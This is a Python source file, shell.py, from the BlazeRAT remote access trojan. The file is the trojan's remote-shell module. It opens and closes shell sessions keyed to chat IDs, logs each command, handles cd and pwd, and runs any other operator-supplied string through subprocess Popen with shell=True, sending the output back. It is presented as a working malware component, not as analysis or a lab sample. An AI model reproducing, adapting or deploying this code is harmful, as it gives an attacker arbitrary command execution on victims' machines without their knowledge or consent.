shell.py 2.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from core.logger import Log
  5. from os import chdir, getcwd, path
  6. from subprocess import Popen, PIPE
  7. from core.messages import services as Messages
  8. """
  9. Author : LimerBoy
  10. github.com/LimerBoy/BlazeRAT
  11. Notes :
  12. The file is needed
  13. to execute system commands
  14. """
  15. # Shell sessions users
  16. global sessions
  17. sessions = []
  18. """ Is shell session exists """
  19. def SessionExists(chatid: int) -> bool:
  20. global sessions
  21. return chatid in sessions
  22. """ Toggle session """
  23. def ToggleSession(chatid: int) -> str:
  24. global sessions
  25. if SessionExists(chatid):
  26. sessions.remove(chatid)
  27. Log("Shell >> Session closed", chatid)
  28. return Messages.shell_session_closed
  29. else:
  30. sessions.append(chatid)
  31. Log("Shell >> Session opened", chatid)
  32. return Messages.shell_session_opened
  33. """ Run system command """
  34. def System(command: str) -> str:
  35. try:
  36. shell = Popen(command[:], shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
  37. output = str(shell.stdout.read() + shell.stderr.read(), "utf-8")
  38. except Exception as error:
  39. return str(error)
  40. else:
  41. return output
  42. """ Change directory """
  43. def ChangeDir(dir: str) -> str:
  44. abs = path.abspath(dir)
  45. try:
  46. chdir(dir)
  47. except FileNotFoundError:
  48. return Messages.shell_chdir_not_found % abs
  49. except NotADirectoryError:
  50. return Messages.shell_chdir_not_a_dir % abs
  51. except Exception as error:
  52. return Messages.shell_chdir_failed % (error, abs)
  53. else:
  54. return Messages.shell_chdir_success % abs
  55. """ Get current directory """
  56. def Pwd() -> str:
  57. pwd = path.abspath(getcwd())
  58. return Messages.shell_pwd_success % pwd
  59. """ Execute shell command """
  60. def Run(command: str, chatid: int) -> str:
  61. Log(f"Shell >> Run command {command}", chatid)
  62. # Skip empty command
  63. if len(command) < 2:
  64. return Messages.shell_command_is_empty
  65. # Change working directory
  66. if command[:2] == "cd":
  67. return ChangeDir(command[3:])
  68. # Get current directory
  69. elif command[:3] == "pwd":
  70. return Pwd()
  71. # Exit command
  72. elif command[:4] == "exit":
  73. return ToggleSession(chatid)
  74. # Execute system command
  75. elif len(command) > 0:
  76. output = System(command)
  77. return Messages.shell_command_executed % output